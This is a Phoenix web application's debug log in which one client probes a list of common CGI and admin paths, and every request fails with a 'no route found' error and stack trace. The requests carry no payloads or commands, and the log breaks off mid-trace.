[Thu Sep  3 08:41:00.149000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41430] GET /cgi-bin/admin
[Thu Sep  3 08:41:00.151000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41442] GET /cgi-bin/whois.cgi
[Thu Sep  3 08:41:00.176000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41430] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/admin (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:00.179000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41442] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/whois.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:00.835000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41450] GET /cgi-bin/admin.cgi
[Thu Sep  3 08:41:00.851000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41450] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/admin.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:01.594000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41472] GET /cgi-bin/admin.pl
[Thu Sep  3 08:41:01.693000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41472] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/admin.pl (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:02.096000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41460] GET /cgi-bin-sdb/printenv
[Thu Sep  3 08:41:02.224000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41460] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin-sdb/printenv (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:02.467000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41478] GET /cgi-bin/administrator
[Thu Sep  3 08:41:02.526000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41478] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/administrator (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:02.913000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41494] GET /cgi-mod/index.cgi
[Thu Sep  3 08:41:03.025000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41494] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-mod/index.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:03.381000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50382] GET /cgi-bin/administrator.cgi
[Thu Sep  3 08:41:03.471000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50382] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/administrator.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:03.807000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50390] GET /cgi-sys/defaultwebpage.cgi
[Thu Sep  3 08:41:03.893000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50390] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-sys/defaultwebpage.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:04.301000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50396] GET /cgi-bin/agorn.cgi
[Thu Sep  3 08:41:04.341000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50396] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/agorn.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:04.580000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50406] GET /cgi-sys/entropysearch.cgi
[Thu Sep  3 08:41:04.607000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50406] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-sys/entropysearch.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:05.018000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50414] GET /cgi-bin/bugreport.cgi
[Thu Sep  3 08:41:05.044000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50414] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/bugreport.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:05.225000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50422] GET /index.cgi
[Thu Sep  3 08:41:05.254000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50422] ** (Phoenix.Router.NoRouteError) no route found for GET /index.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:05.718000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50428] GET /cgi-bin/cart.cgi
[Thu Sep  3 08:41:05.751000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50428] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/cart.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:05.937000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50440] GET /index.pl
[Thu Sep  3 08:41:06.000000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50440] ** (Phoenix.Router.NoRouteError) no route found for GET /index.pl (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:06.419000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50448] GET /cgi-bin/clwarn.cgi
[Thu Sep  3 08:41:06.446000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50448] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/clwarn.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:41:06.582000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50460] GET /index.sh
[Thu Sep  3 08:41:06.613000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50460] ** (Phoenix.Router.NoRouteError) no route found for GET /index.sh (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
